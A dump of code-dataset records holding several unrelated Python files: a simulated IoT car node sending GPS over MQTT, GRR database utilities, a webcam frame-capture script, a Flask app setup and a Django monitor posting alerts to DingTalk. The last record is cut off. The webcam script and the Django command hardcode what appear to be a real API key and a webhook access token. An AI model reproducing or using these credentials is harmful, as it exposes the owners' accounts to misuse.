-*-\nimport uuid\nimport sys\nimport threading\nimport time\nimport json\nimport os\nsys.path.append(os.path.split(os.getcwd())[0])\nsys.path.append(os.path.join(os.path.split(os.getcwd())[0], 'NIT_Module'))\nimport NIT_Node_Module\nsys.path.append(\"..\")\nfrom terminalColor import bcolors\nimport random\nimport base64\n\nNodeUUID = \"Car3\" +\"@NODE-\" + str(uuid.uuid1())\n\nFunctions = [\"Image\"]\nNodeFunctions = ['GPS'] # ['Cam', 'GPS', 'CG'] 此NODE的功能\nFuncSVList = []\n\nprint(\"::::::::::::::::::::::::::::::::::::::::::\")\nprint(\"::::::::::::::::::::::::::::::::::::::::::\")\nprint(\"'##::: ##::'#######::'########::'########:\")\nprint(\" ###:: ##:'##.... ##: ##.... ##: ##.....::\")\nprint(\" ####: ##: ##:::: ##: ##:::: ##: ##:::::::\")\nprint(\" ## ## ##: ##:::: ##: ##:::: ##: ######:::\")\nprint(\" ##. ####: ##:::: ##: ##:::: ##: ##...::::\")\nprint(\" ##:. ###: ##:::: ##: ##:::: ##: ##:::::::\")\nprint(\" ##::. ##:. #######:: ########:: ########:\")\nprint(\"..::::..:::.......:::........:::........::\")\nprint(\"::::::::::::::::::::::::::::::::::::::::::\\n\")\n\nnit = NIT_Node_Module.NIT_Node(NodeUUID, Functions, NodeFunctions)\n\nstartPos = [22.995980, 120.221776];\nendPos = [22.996266, 120.218171];\t\n# 緯度\ndef getLongitude(i): \n\treturn i*(endPos[0] - startPos[0])/10 + startPos[0]\n\t\n# 經度\t\ndef getLatitude(i):\n\treturn i*(endPos[1] - startPos[1])/10 + startPos[1]\n\t\ndef path():\n\tif \"counter\" not in dir(path):\n\t\tpath.counter = 0\n\t\tpath.gap = 1\n\telse:\n\t\tpath.counter+=path.gap\n\n\tif path.counter > 10:\n\t\tpath.gap = -path.gap\n\telif path.counter < 0:\n\t\tpath.counter = 1\n\t\tpath.gap = -path.gap\n\t\t\n\tprint(path.counter)\n\t\t\n\tgpsData = str(getLongitude(path.counter)) + \",\" + str(getLatitude(path.counter))\n\tprint(gpsData)\n\treturn gpsData\n\nclass CustomError(Exception):\n \"\"\"Base class for other exceptions\"\"\"\n def __init__(self, msg='err'):\n self.msg = msg\n\n\n# Connect to MQTT Server for communication\ndef NodeToServerMQTTThread():\n\t# print(\"thread name：　\" + threading.current_thread().getName())\n\t# callback\n\tnit.CallBackRxRouting = RxRouting\n\tprint(bcolors.HEADER + '===============================================\\n' + bcolors.ENDC)\n\tprint(bcolors.HEADER + '---------------Node(%s)--->>>Server in MQTT-\\n' % NodeUUID + bcolors.ENDC)\n\tprint(bcolors.HEADER + '>>>Start connect Server %s<<<' % (\n\t\ttime.asctime(time.localtime(time.time()))) + bcolors.ENDC)\n\tprint(bcolors.HEADER + '===============================================\\n' + bcolors.ENDC)\n\tprint(bcolors.HEADER + 'Register to IoT Server successful! \\n' + bcolors.ENDC)\n\n\ttry:\n\t\tnit.RegisterNoode() # 向IoT_Server註冊 TopicName = \"IOTSV/REG\" , 'Control': 'NODE_REG'\n\texcept (RuntimeError, TypeError, NameError) as e:\n\t\tprint(bcolors.FAIL + \"[INFO]Register error.\" + str(e) + bcolors.ENDC)\n\t\traise\n\t\tsys.exit(1)\n\n\n########### Keyboard interactive ##############\ndef RxRouting(self, _obj_json_msg): # 收到訊息會執行這個，可在這邊新增功能\n\tfs = nit.M2M_RxRouting(_obj_json_msg)\n\tif fs is not None and fs not in FuncSVList:\n\t\tFuncSVList.append(fs)\n\ndef imageToBase64Str(obj=''):\n try:\n imgName = obj + '.jpg'\n with open(imgName, \"rb\") as f_img:\n image = base64.encodebytes(f_img.read()) # binary to base64\n imgStr = image.decode('utf-8') # bytes to str\n print(bcolors.WARNING + \"[IMAGE] Open image success\" + bcolors.ENDC)\n return imgStr\n except:\n raise CustomError(bcolors.FAIL + '[Err] File does not exist.' + bcolors.ENDC)\n\ndef loop():\n\ttry:\n\t\tif not FuncSVList:\n\t\t\traise CustomError(bcolors.FAIL + '[Err] No FunctionServer.' + bcolors.ENDC)\n\t\telse:\n\t\t\tfor FS in FuncSVList:\n\t\t\t\tinitMSGObj = {'TopicName': FS, 'Control': 'UpdateValue', 'Source': str(NodeUUID)}\n\t\t\t\tinitMSGObj['GPS'] = path()\n\t\t\t\tinitMSGSTR = json.dumps(initMSGObj) # 將對象轉json(JavaScript Object Notation)\n\t\t\t\tnit.DirectMSG(FS, initMSGSTR) # Publish directly\n\texcept CustomError as e:\n\t\tprint(e)\n\nif __name__ == \"__main__\":\n\tMQTT_Thread = threading.Thread(target=NodeToServerMQTTThread, name=\"main_thread\")\n\tMQTT_Thread.start()\n\ttime.sleep(4)\n\twhile True:\n\t\ttime.sleep(1)\n\t\tloop()\n", "sub_path": "Node/Node_car3.py", "file_name": "Node_car3.py", "file_ext": "py", "file_size_in_byte": 4132, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 10, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "uuid.uuid1", "line_number": 17, "usage_type": "call"}, {"api_name": "NIT_Node_Module.NIT_Node", "line_number": 35, "usage_type": "call"}, {"api_name": "terminalColor.bcolors.HEADER", "line_number": 77, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 77, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 77, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.HEADER", "line_number": 78, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 78, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 78, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.HEADER", "line_number": 79, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 79, "usage_type": "name"}, {"api_name": "time.asctime", "line_number": 80, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 80, "usage_type": "call"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 80, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 80, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.HEADER", "line_number": 81, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 81, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 81, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.HEADER", "line_number": 82, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 82, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 82, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.FAIL", "line_number": 87, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 87, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 87, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 89, "usage_type": "call"}, {"api_name": "base64.encodebytes", "line_number": 102, "usage_type": "call"}, {"api_name": "terminalColor.bcolors.WARNING", "line_number": 104, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 104, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 104, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.FAIL", "line_number": 107, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 107, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 107, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors.FAIL", "line_number": 112, "usage_type": "attribute"}, {"api_name": "terminalColor.bcolors", "line_number": 112, "usage_type": "name"}, {"api_name": "terminalColor.bcolors.ENDC", "line_number": 112, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 117, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 123, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 125, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "370617421", "text": "#!/usr/bin/env python\n\"\"\"Utility functions/decorators for DB implementations.\"\"\"\n\nimport functools\nimport logging\nimport time\n\nfrom builtins import range # pylint: disable=redefined-builtin\n\nfrom grr_response_core.lib import registry\nfrom grr_response_core.lib import stats\nfrom grr_response_core.lib import utils\nfrom grr_response_server import db\n\n\ndef CallLoggedAndAccounted(f):\n \"\"\"Decorator to log and account for a DB call.\"\"\"\n\n @functools.wraps(f)\n def Decorator(*args, **kwargs):\n try:\n start_time = time.time()\n result = f(*args, **kwargs)\n latency = time.time() - start_time\n\n stats.STATS.RecordEvent(\n \"db_request_latency\", latency, fields=[f.__name__])\n logging.debug(\"DB request %s SUCCESS (%.3fs)\", f.__name__, latency)\n\n return result\n except db.Error as e:\n stats.STATS.IncrementCounter(\n \"db_request_errors\", fields=[f.__name__, \"grr\"])\n logging.debug(\"DB request %s GRR ERROR: %s\", f.__name__,\n utils.SmartStr(e))\n raise\n except Exception as e:\n stats.STATS.IncrementCounter(\n \"db_request_errors\", fields=[f.__name__, \"db\"])\n logging.debug(\"DB request %s INTERNAL DB ERROR : %s\", f.__name__,\n utils.SmartStr(e))\n raise\n\n return Decorator\n\n\ndef ClientIdFromGrrMessage(m):\n if m.queue:\n return m.queue.Split()[0]\n if m.source:\n return m.source.Basename()\n\n\nclass DBMetricsInit(registry.InitHook):\n \"\"\"Install database metrics.\"\"\"\n\n def RunOnce(self):\n stats.STATS.RegisterEventMetric(\n \"db_request_latency\",\n fields=[(\"call\", str)],\n bins=[0.05 * 1.2**x for x in range(30)]) # 50ms to ~10 seconds\n stats.STATS.RegisterCounterMetric(\n \"db_request_errors\", fields=[(\"call\", str), (\"type\", str)])\n", "sub_path": "grr/server/grr_response_server/db_utils.py", "file_name": "db_utils.py", "file_ext": "py", "file_size_in_byte": 1794, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS.RecordEvent", "line_number": 26, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS", "line_number": 26, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.stats", "line_number": 26, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 28, "usage_type": "call"}, {"api_name": "grr_response_server.db.Error", "line_number": 31, "usage_type": "attribute"}, {"api_name": "grr_response_server.db", "line_number": 31, "usage_type": "name"}, {"api_name": "grr_response_core.lib.stats.STATS.IncrementCounter", "line_number": 32, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS", "line_number": 32, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.stats", "line_number": 32, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 34, "usage_type": "call"}, {"api_name": "grr_response_core.lib.utils.SmartStr", "line_number": 35, "usage_type": "call"}, {"api_name": "grr_response_core.lib.utils", "line_number": 35, "usage_type": "name"}, {"api_name": "grr_response_core.lib.stats.STATS.IncrementCounter", "line_number": 38, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS", "line_number": 38, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.stats", "line_number": 38, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 40, "usage_type": "call"}, {"api_name": "grr_response_core.lib.utils.SmartStr", "line_number": 41, "usage_type": "call"}, {"api_name": "grr_response_core.lib.utils", "line_number": 41, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 19, "usage_type": "call"}, {"api_name": "grr_response_core.lib.registry.InitHook", "line_number": 54, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.registry", "line_number": 54, "usage_type": "name"}, {"api_name": "grr_response_core.lib.stats.STATS.RegisterEventMetric", "line_number": 58, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS", "line_number": 58, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.stats", "line_number": 58, "usage_type": "name"}, {"api_name": "builtins.range", "line_number": 61, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS.RegisterCounterMetric", "line_number": 62, "usage_type": "call"}, {"api_name": "grr_response_core.lib.stats.STATS", "line_number": 62, "usage_type": "attribute"}, {"api_name": "grr_response_core.lib.stats", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "618668293", "text": "'''\nTHIS IS THE FINAL CODE FOR THE PROJECT\nCODE FOR ALARM: \n import winsound \n duration = 1000\n freq = 440\n winsound.Beep(freq, duration)\n print ('\\007') OR print('\\a')\n'''\n\n\n\n\nimport requests\nimport cv2\nimport numpy as np\nimport os\nimport time\nimport json\nimport urllib.request\nimport urllib.parse\nimport base64\nimport glob\n\nsubscription_key = 'ffb1c11d2a624e4e8ba551f1b7a5349e'\nassert subscription_key\n\nif os.path.exists('data') == True:\n remove_data = glob.glob(\"./data/*\")\n for r in remove_data:\n os.remove(r)\nelse:\n try:\n if not os.path.exists('data'):\n os.makedirs('data')\n except OSError:\n print ('Error: Creating directory of data')\n \n \n\nstart = time.time() + 6\ncurrentFrame = 0\ncap = cv2.VideoCapture(0) \n#album = []\nwhile time.time() <= start:\n ret, frame = cap.read()\n name = './data/frame' + str(currentFrame) + '.png'\n cv2.imwrite(name, frame)\n currentFrame += 1\n# Stop recording\ncap.release()\ncv2.destroyAllWindows()\ncurrentFrame = 0\n\nprint (os.listdir('./data'))\nremove_data = glob.glob(\"./data/*\")\nfor r in remove_data:\n os.remove(r)", "sub_path": "Video Parse/19/07/25.py", "file_name": "25.py", "file_ext": "py", "file_size_in_byte": 1145, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 29, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 35, "usage_type": "call"}, {"api_name": "time.time", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 52, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 55, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 56, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 58, "usage_type": "call"}]} +{"seq_id": "583434325", "text": "import logging\nimport sys\n\nfrom werkzeug import SharedDataMiddleware\nfrom flask import Flask, redirect, request, render_template, url_for, g\nfrom flask.ext.babel import Babel\nfrom flask.ext.login import LoginManager\nfrom flask.ext.thumbnails import Thumbnail\nfrom flask.ext.uploads import configure_uploads, patch_request_class\n\nfrom path import path\n\nfrom mrt.admin.urls import admin\nfrom mrt.assets import assets_env\nfrom mrt.auth.urls import auth\n\nfrom mrt.forms.admin import backgrounds\nfrom mrt.forms.meetings import logos_upload\nfrom mrt.forms.fields import custom_upload\n\nfrom mrt.mail import mail\nfrom mrt.meetings.urls import meetings\nfrom mrt.models import db, redis_store, User, CustomField, Participant\n\nfrom mrt.template import country_in, region_in\nfrom mrt.template import nl2br, active, date_processor, countries, crop\nfrom mrt.template import no_image_cache, activity_map, inject_static_file\nfrom mrt.template import pluralize, clean_html\nfrom mrt.template import inject_badge_context\nfrom mrt.template import sort_by_tuple_element\nfrom mrt.template import convert_to_dict, has_perm\nfrom mrt.utils import slugify, Logo, sentry\n\n\n_DEFAULT_LANG = 'english'\n_TRANSLATIONS = [_DEFAULT_LANG, 'french', 'spanish']\n\n\nDEFAULT_CONFIG = {\n 'REDIS_URL': 'redis://localhost:6379/0',\n 'DEBUG': True,\n 'ASSETS_DEBUG': True,\n 'MAIL_SUPPRESS_SEND': True,\n # Branding defaults\n 'PRODUCT_LOGO': '',\n 'PRODUCT_SIDE_LOGO': '',\n 'DEFAULT_PHRASES_PATH': (\n path(__file__).abspath().parent / 'fixtures' / 'default_phrases.json'),\n 'DEFAULT_MAIL_SENDER': '',\n 'DEFAULT_LANG': _DEFAULT_LANG,\n 'TRANSLATIONS': _TRANSLATIONS,\n}\n\n\ndef create_app(config={}):\n app = Flask(__name__, instance_relative_config=True)\n app.config.update(DEFAULT_CONFIG)\n app.config.from_pyfile('settings.py', silent=True)\n app.config.update(config)\n\n babel = Babel(app)\n\n @babel.localeselector\n def get_locale():\n return getattr(g, 'language', 'en')\n\n assets_env.init_app(app)\n db.init_app(app)\n\n app.register_blueprint(admin)\n app.register_blueprint(auth)\n app.register_blueprint(meetings)\n\n app.add_template_filter(activity_map)\n app.add_template_filter(countries)\n app.add_template_filter(country_in)\n app.add_template_filter(region_in)\n app.add_template_filter(crop)\n app.add_template_filter(nl2br)\n app.add_template_filter(convert_to_dict, name='dict')\n app.add_template_filter(no_image_cache)\n app.add_template_filter(pluralize)\n app.add_template_filter(slugify)\n app.add_template_filter(sort_by_tuple_element)\n app.add_template_filter(clean_html)\n app.add_template_global(active)\n app.add_template_global(date_processor)\n app.add_template_global(inject_static_file)\n app.add_template_global(inject_badge_context)\n app.add_template_global(has_perm)\n app.add_template_global(Logo, name='get_logo')\n\n @app.context_processor\n def inject_context():\n return {\n 'CustomField': {\n 'TEXT': CustomField.TEXT,\n 'IMAGE': CustomField.IMAGE,\n 'EMAIL': CustomField.EMAIL,\n 'CHECKBOX': CustomField.CHECKBOX,\n 'SELECT': CustomField.SELECT,\n 'COUNTRY': CustomField.COUNTRY,\n 'LANGUAGE': CustomField.LANGUAGE,\n 'CATEGORY': CustomField.CATEGORY,\n 'EVENT': CustomField.EVENT,\n },\n 'Participant': {\n 'PARTICIPANT': Participant.PARTICIPANT,\n 'MEDIA': Participant.MEDIA,\n 'DEFAULT': Participant.DEFAULT,\n 'DEFAULT_MEDIA': Participant.DEFAULT_MEDIA,\n },\n }\n\n login_manager = LoginManager()\n login_manager.init_app(app)\n login_manager.login_view = 'auth.login'\n login_manager.login_message_category = 'warning'\n\n mail.init_app(app)\n redis_store.init_app(app, strict=True)\n\n if app.config.get('SENTRY_DSN'):\n sentry.init_app(app)\n\n _configure_uploads(app)\n _configure_logging(app)\n\n app.config['REPRESENTING_TEMPLATES'] = (\n path('meetings/participant/representing'))\n\n _translations = app.config['TRANSLATIONS']\n if _DEFAULT_LANG not in _translations:\n _translations = [_DEFAULT_LANG] + _translations\n app.config['TRANSLATIONS'] = _translations\n\n @login_manager.user_loader\n def load_user(user_id):\n return User.query.get(user_id)\n\n @app.route('/')\n def index():\n return redirect(url_for('meetings.home'))\n\n @app.errorhandler(413)\n def file_too_large(error):\n mb = 1024 * 1024\n max_size = app.config.get('UPLOAD_SIZE', mb) / mb\n return render_template('_file_too_large.html',\n max_size=max_size,\n url=request.url), 413\n\n return app\n\n\ndef _configure_uploads(app):\n app.config['FILES_PATH'] = files_path = path(app.instance_path) / 'files'\n app.config['PATH_BACKGROUNDS_KEY'] = path_backgrounds_key = 'backgrounds'\n app.config['PATH_CROP_KEY'] = path_crop_key = 'crops'\n app.config['PATH_CUSTOM_KEY'] = path_custom_key = 'custom_uploads'\n app.config['PATH_LOGOS_KEY'] = path_logos_key = 'logos'\n app.config['PATH_THUMB_KEY'] = path_thumb_key = 'thumbnails'\n app.config['PATH_PRINTOUTS_KEY'] = path_printouts_key = 'printouts'\n\n if 'UPLOADED_BACKGROUNDS_DEST' not in app.config:\n app.config['UPLOADED_BACKGROUNDS_DEST'] = (files_path /\n path_backgrounds_key)\n if 'UPLOADED_CROP_DEST' not in app.config:\n app.config['UPLOADED_CROP_DEST'] = files_path / path_crop_key\n if 'UPLOADED_CUSTOM_DEST' not in app.config:\n app.config['UPLOADED_CUSTOM_DEST'] = files_path / path_custom_key\n if 'UPLOADED_LOGOS_DEST' not in app.config:\n app.config['UPLOADED_LOGOS_DEST'] = files_path / path_logos_key\n if 'UPLOADED_PRINTOUTS_DEST' not in app.config:\n app.config['UPLOADED_PRINTOUTS_DEST'] = files_path / path_printouts_key\n\n # ensure logos and printouts folders exist\n app.config['UPLOADED_LOGOS_DEST'].makedirs_p()\n app.config['UPLOADED_PRINTOUTS_DEST'].makedirs_p()\n\n if 'MEDIA_FOLDER' not in app.config:\n app.config['MEDIA_FOLDER'] = files_path\n if 'MEDIA_THUMBNAIL_FOLDER' not in app.config:\n app.config['MEDIA_THUMBNAIL_FOLDER'] = \\\n app.config['UPLOADED_THUMBNAIL_DEST'] = files_path / path_thumb_key\n app.config['MEDIA_THUMBNAIL_URL'] = '/static/files/thumbnails/'\n\n app.add_url_rule('/static/files/', 'files', build_only=True)\n app.wsgi_app = SharedDataMiddleware(app.wsgi_app, {\n '/static/files': files_path,\n })\n\n # limit upload size to 1MB\n patch_request_class(app, app.config.get('UPLOAD_SIZE', 1 * 1024 * 1024))\n configure_uploads(app, (backgrounds, custom_upload, logos_upload))\n Thumbnail(app)\n\n\ndef _configure_logging(app):\n stream_handler = logging.StreamHandler(stream=sys.stdout)\n stream_handler.setLevel(logging.INFO)\n app.logger.addHandler(stream_handler)\n", "sub_path": "mrt/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 7092, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "path.path", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.ext.babel.Babel", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.g", "line_number": 65, "usage_type": "argument"}, {"api_name": "mrt.assets.assets_env.init_app", "line_number": 67, "usage_type": "call"}, {"api_name": "mrt.assets.assets_env", "line_number": 67, "usage_type": "name"}, {"api_name": "mrt.models.db.init_app", "line_number": 68, "usage_type": "call"}, {"api_name": "mrt.models.db", "line_number": 68, "usage_type": "name"}, {"api_name": "mrt.admin.urls.admin", "line_number": 70, "usage_type": "argument"}, {"api_name": "mrt.auth.urls.auth", "line_number": 71, "usage_type": "argument"}, {"api_name": "mrt.meetings.urls.meetings", "line_number": 72, "usage_type": "argument"}, {"api_name": "mrt.template.activity_map", "line_number": 74, "usage_type": "argument"}, {"api_name": "mrt.template.countries", "line_number": 75, "usage_type": "argument"}, {"api_name": "mrt.template.country_in", "line_number": 76, "usage_type": "argument"}, {"api_name": "mrt.template.region_in", "line_number": 77, "usage_type": "argument"}, {"api_name": "mrt.template.crop", "line_number": 78, "usage_type": "argument"}, {"api_name": "mrt.template.nl2br", "line_number": 79, "usage_type": "argument"}, {"api_name": "mrt.template.convert_to_dict", "line_number": 80, "usage_type": "argument"}, {"api_name": "mrt.template.no_image_cache", "line_number": 81, "usage_type": "argument"}, {"api_name": "mrt.template.pluralize", "line_number": 82, "usage_type": "argument"}, {"api_name": "mrt.utils.slugify", "line_number": 83, "usage_type": "argument"}, {"api_name": "mrt.template.sort_by_tuple_element", "line_number": 84, "usage_type": "argument"}, {"api_name": "mrt.template.clean_html", "line_number": 85, "usage_type": "argument"}, {"api_name": "mrt.template.active", "line_number": 86, "usage_type": "argument"}, {"api_name": "mrt.template.date_processor", "line_number": 87, "usage_type": "argument"}, {"api_name": "mrt.template.inject_static_file", "line_number": 88, "usage_type": "argument"}, {"api_name": "mrt.template.inject_badge_context", "line_number": 89, "usage_type": "argument"}, {"api_name": "mrt.template.has_perm", "line_number": 90, "usage_type": "argument"}, {"api_name": "mrt.utils.Logo", "line_number": 91, "usage_type": "argument"}, {"api_name": "mrt.models.CustomField.TEXT", "line_number": 97, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 97, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.IMAGE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 98, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.EMAIL", "line_number": 99, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 99, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.CHECKBOX", "line_number": 100, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 100, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.SELECT", "line_number": 101, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 101, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.COUNTRY", "line_number": 102, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 102, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.LANGUAGE", "line_number": 103, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 103, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.CATEGORY", "line_number": 104, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 104, "usage_type": "name"}, {"api_name": "mrt.models.CustomField.EVENT", "line_number": 105, "usage_type": "attribute"}, {"api_name": "mrt.models.CustomField", "line_number": 105, "usage_type": "name"}, {"api_name": "mrt.models.Participant.PARTICIPANT", "line_number": 108, "usage_type": "attribute"}, {"api_name": "mrt.models.Participant", "line_number": 108, "usage_type": "name"}, {"api_name": "mrt.models.Participant.MEDIA", "line_number": 109, "usage_type": "attribute"}, {"api_name": "mrt.models.Participant", "line_number": 109, "usage_type": "name"}, {"api_name": "mrt.models.Participant.DEFAULT", "line_number": 110, "usage_type": "attribute"}, {"api_name": "mrt.models.Participant", "line_number": 110, "usage_type": "name"}, {"api_name": "mrt.models.Participant.DEFAULT_MEDIA", "line_number": 111, "usage_type": "attribute"}, {"api_name": "mrt.models.Participant", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.ext.login.LoginManager", "line_number": 115, "usage_type": "call"}, {"api_name": "mrt.mail.mail.init_app", "line_number": 120, "usage_type": "call"}, {"api_name": "mrt.mail.mail", "line_number": 120, "usage_type": "name"}, {"api_name": "mrt.models.redis_store.init_app", "line_number": 121, "usage_type": "call"}, {"api_name": "mrt.models.redis_store", "line_number": 121, "usage_type": "name"}, {"api_name": "mrt.utils.sentry.init_app", "line_number": 124, "usage_type": "call"}, {"api_name": "mrt.utils.sentry", "line_number": 124, "usage_type": "name"}, {"api_name": "path.path", "line_number": 130, "usage_type": "call"}, {"api_name": "mrt.models.User.query.get", "line_number": 139, "usage_type": "call"}, {"api_name": "mrt.models.User.query", "line_number": 139, "usage_type": "attribute"}, {"api_name": "mrt.models.User", "line_number": 139, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.request.url", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 151, "usage_type": "name"}, {"api_name": "path.path", "line_number": 157, "usage_type": "call"}, {"api_name": "werkzeug.SharedDataMiddleware", "line_number": 189, "usage_type": "call"}, {"api_name": "flask.ext.uploads.patch_request_class", "line_number": 194, "usage_type": "call"}, {"api_name": "flask.ext.uploads.configure_uploads", "line_number": 195, "usage_type": "call"}, {"api_name": "mrt.forms.admin.backgrounds", "line_number": 195, "usage_type": "name"}, {"api_name": "mrt.forms.fields.custom_upload", "line_number": 195, "usage_type": "name"}, {"api_name": "mrt.forms.meetings.logos_upload", "line_number": 195, "usage_type": "name"}, {"api_name": "flask.ext.thumbnails.Thumbnail", "line_number": 196, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 200, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 200, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 201, "usage_type": "attribute"}]} +{"seq_id": "297638048", "text": "#encoding: utf-8\nimport time\nimport requests\nimport json\n\nfrom django.core.management import BaseCommand\nfrom asset.models import Monitor_Resource\nfrom asset.error_info import get_error_info\nfrom django.utils import timezone\nfrom datetime import timedelta\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **kwargs):\n \"\"\"监控进程\n\n :param: 接受所有参数\n :return: 无\n \"\"\"\n while True:\n end_time = timezone.now()\n start_time = end_time - timedelta(minutes=3)\n info = Monitor_Resource.objects.values('ip').distinct()\n for i in info:\n _ip = i['ip']\n _time = start_time\n error_info = get_error_info(_ip, _time)\n if error_info:\n self.ding_push_message(error_info)\n\n time.sleep(60)\n\n\n def ding_push_message(self, err_info):\n \"\"\"报错发送钉钉群\n\n :param err_info:报错信息\n :return: 无\n \"\"\"\n # 请求的URL，WebHook地址\n web_url = \"https://oapi.dingtalk.com/robot/send?access_token=312f10cdc9912967aff99ace779f6e3702fc40f9b7798d1655818def3cf4be01\"\n # 构建发送消息\n msg = ''\n for e in err_info:\n str_info = 